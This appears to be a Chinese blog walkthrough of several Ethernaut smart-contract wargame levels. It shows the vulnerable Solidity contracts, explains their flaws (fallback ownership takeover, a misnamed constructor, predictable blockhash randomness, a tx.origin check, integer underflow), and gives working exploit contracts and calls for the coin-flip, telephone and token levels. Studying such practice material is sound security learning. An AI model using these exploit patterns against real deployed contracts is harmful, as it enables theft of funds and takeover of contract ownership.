天天看點

Ethernaut靶場練習

1.Hello Ethernaut

目标:

安裝好metamask,熟悉操作指令。

操作過程:

我們先送出一個執行個體,然後打開遊覽器F12.然後跟他的提示走。

先輸入contract.info().

contract.info()
//You will find what you need in info1().
輸入contract.info1()
//Try info2(), but with "hello" as a parameter.
contract.info2("hello")
//The property infoNum holds the number of t...
這裡我們在進入infoNum裡面。
contract.infoNum()
//看到word為42
contract.info42()
//theMethodName is the name of the next method...
contract.theMethodName()
//The method name is method7123949.
contract.method7123949()
If you know the password, submit it to auth
contract.password()
得到密碼為ethernaut0
contract.authenticate("ethernaut0")
      

  然後這邊送出答案就可以了。

Ethernaut靶場練習

 2.Fallback

目标:

  1. 您要求合同所有權
  2. 您将其餘額減少到0

代碼:

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  function() payable external {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}      

代碼分析:

看了一下代碼,如果要擷取owner的話,有兩種辦法。

第一種是通過contrabute函數去擷取。

(但是contribute函數中,每次發送小于0.001ether,但是判斷了contributions[msg.sender] > contributions[owner]

contributions[owner]初始值為1000ether,這個要求我們很難滿足)

第二種是通過fallback去擷取。

(我們看到fallback中的owner = msg.sender;這就好辦了,我們可以通過發送以太币,觸發合約中的fallback函數。

但是其中判斷了contributions[msg.sender] > 0,這裡我們需要使他大于0.使用内置的函數去觸發他)

操作過程:

contract.contribute({value: 1})先調用contribute擷取貢獻值。

然後使用contract

.sendTransaction({value: 1})

方法向以太坊網絡送出一個交易。

這裡我們可以看到合約的owner為自己了。

Ethernaut靶場練習

 ok,我們現在查詢一下合約的餘額。getBalance(instance)

Ethernaut靶場練習

 然後我們可以使用合約的轉賬函數。contract.withdraw()

然後我們再次查詢餘額。

Ethernaut靶場練習

3.Fallout

目标:

  1.擷取合約的權限。

代碼:

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
            require(
                msg.sender == owner,
                "caller is not the owner"
            );
            _;
        }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}      

代碼分析:

做這種題,先看owner = msg.sender,畢竟是擷取權限的。我們直接定位到Fal1out中,這裡我們看到Fal1out,這裡是開發寫錯了函數名,把這個當作構造函數了。這裡我們可以直接調用擷取owner權限。

操作過程:

contract.Fal1out(),擷取owner。

3.Coin Flip

目标:這是一個硬币翻轉遊戲,您需要通過猜測硬币翻轉的結果來建立自己的連勝紀錄。要完成此級别,您需要使用自己的心理能力連續10次猜測正确的結果。

代碼

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}      

代碼分析:

我們先通讀一下全文。首先定義了一個CoinFlip這個合約,然後引用了SafeMath這個庫,定義了變量。在後面定義了結構consecutiveWins = 0。然後我們看看函數flip寫了什麼,首先輸入一個布爾的值。那麼參數_guess可控。uint256 blockValue = uint256(blockhash(block.number.sub(1)))。block.number表示目前區塊數,然後減一。就是上一塊。blockhash表示區塊的hash,然後轉換成uint256.然後判斷lastHash == blockValue是否相等,如果等于了就復原。

這裡的意思就是不能重複上次的區塊。然後擷取到blockValue又指派給lastHash,就相當于你要連續猜對10次才能通關。uint256 coinFlip = blockValue.div(FACTOR);這裡把值賦給coinFlip,bool side = coinFlip == 1 ? true : false;這裡的意思是判斷coinfilp是否為1,如果不為1傳回ture或者false給side。然後在到後面的if中,如果我們輸入的值,等于就consecutiveWins++;直到consecutiveWins>10.否則失敗。這裡我們構造一個攻擊合約,類似中間人,因為答案可以預測嘛,我們可以把得到的答案發送給原合約。

exp:

pragma solidity ^0.5.0;


contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue/FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract expcoinflip{
    CoinFlip target;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    function expaddress(address _addr) external{
        target = CoinFlip(_addr);
    }
    function hack() external{
        uint256 blockValue = uint256(blockhash(block.number-1));
        uint256 coinFlip = blockValue/FACTOR;
        bool guess = coinFlip == 1 ? true : false;
        target.flip(guess);
    }
    
}      

操作過程:

Ethernaut靶場練習

 可以看到為0,要使他大于10.

Ethernaut靶場練習

 導入合約位址,然後執行hack。知道大于10.

Ethernaut靶場練習

 Telephone

目标:

擷取合約的權限

代碼:

pragma solidity ^0.5.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}      

代碼分析:

我們看到代碼還是很簡單的,擷取權限的話,我們先看看是否有owner = msg.sender。這裡我看到有兩處,第一處是在構造函數裡面,第二處是在函數

changeOwner裡面,那麼我們要擷取權限的話嗎,就隻能在changeOwner函數裡面,我們來分析一下。他判斷了tx.origin != msg.sender,tx.origin表示最初交易發起人,msg.sender表示消息的發起人。當然如果在同一個合約使用的話,是完全沒有問題的。如果被其他合約調用了的話,就會出現問題。比如

合約b合約調用a合約。tx.origin表示使用者,msg.sender表示合約a。就會繞過。

exp:

pragma solidity ^0.5.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
contract exp{
    Telephone a = Telephone(0x5ad1DEE3Eb55CFb3592DA97247cBB9Cc76a46AC8);
    function hack() public{
        a.changeOwner(msg.sender);
    }
}      

操作過程:

Ethernaut靶場練習
Ethernaut靶場練習

token

目标:

該級别的目标是讓您破解下面的基本令牌合約。

首先會給您20個令牌,如果您設法以某種方式嘗試使用任何其他令牌,就會超越該水準。優選地,非常大量的令牌。

代碼:

pragma solidity ^0.5.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}      

代碼分析:

我們看代碼定義了兩個函數,一個轉賬,一個查詢餘額。然後構造函數定義了totalSupply。根據題目,要求增加大量的token。那麼我們使用溢出來做,

首先我們看看可控點,一個address和value。要使它變大我們可以使用下溢,比如1減去2.因為無符号,他就會得到一個極大的值。上溢比如指數相乘,超過了最大值極限,他就會變成0.我們在看看代碼。

balances[msg.sender] - _value >= 0      

這個判斷寫和沒寫沒有差別,因為是uint型的沒有符号,是恒成立的。

balances[msg.sender] -= _value      

這個就是我們利用的點,首先balances[msg.sender]是初始化了的,為20.但是value可控。這裡我們比他大就可以造成溢出了。這裡位址可以不用管。随意就行。

exp:

contract.transfer("任意位址,但是要求存在",21)      

操作:

Ethernaut靶場練習

 看到為20.

Ethernaut靶場練習

繼續閱讀